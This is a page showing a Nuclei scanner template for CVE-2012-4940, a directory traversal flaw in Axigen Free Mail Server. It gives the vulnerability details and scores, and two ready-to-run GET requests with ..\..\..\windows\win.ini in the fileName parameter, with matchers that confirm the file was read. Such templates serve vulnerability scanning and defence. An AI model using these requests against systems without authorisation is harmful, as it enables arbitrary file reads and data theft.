CVE-2012-4940: Axigen Mail Server Filename Directory Traversal

2025-08-01 Axigen Mail Server PoC Public

Description

Multiple directory traversal vulnerabilities in the View Log Files component in Axigen Free Mail Server allow remote attackers to read or delete arbitrary files via a .. (dot dot) in the fileName parameter in a download action to source/loggin/page_log_dwn_file.hsp, or the fileName parameter in an edit or delete action to the default URI.

PoC

id: CVE-2012-4940

info:
  name: Axigen Mail Server Filename Directory Traversal
  author: dhiyaneshDk
  severity: medium
  description: Multiple directory traversal vulnerabilities in the View Log Files component in Axigen Free Mail Server allow remote attackers to read or delete arbitrary files via a .. (dot dot) in the fileName parameter in a download action to source/loggin/page_log_dwn_file.hsp, or the fileName parameter in an edit or delete action to the default URI.
  impact: |
    An attacker can read sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the server.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Axigen Mail Server.
  reference:
    - https://www.exploit-db.com/exploits/37996
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4940
    - http://www.kb.cert.org/vuls/id/586556
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
    cvss-score: 6.4
    cve-id: CVE-2012-4940
    cwe-id: CWE-22
    epss-score: 0.83632
    epss-percentile: 0.9967
    cpe: cpe:2.3:a:gecad:axigen_free_mail_server:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: gecad
    product: axigen_free_mail_server
  tags: cve,cve2012,edb,axigen,lfi,mail,gecad,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\..\..\windows\win.ini'
      - '{{BaseURL}}/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini'

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a00473045022054d4d2cb4ee251933c39f5da1ee8f106770f2f93e63056792796a17ccb91631a022100fef9b52fcf46f27dfd84ac53825cc3bb7bb5b137bc8240b3f5db216abbfc8df5:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2012/CVE-2012-4940.yaml

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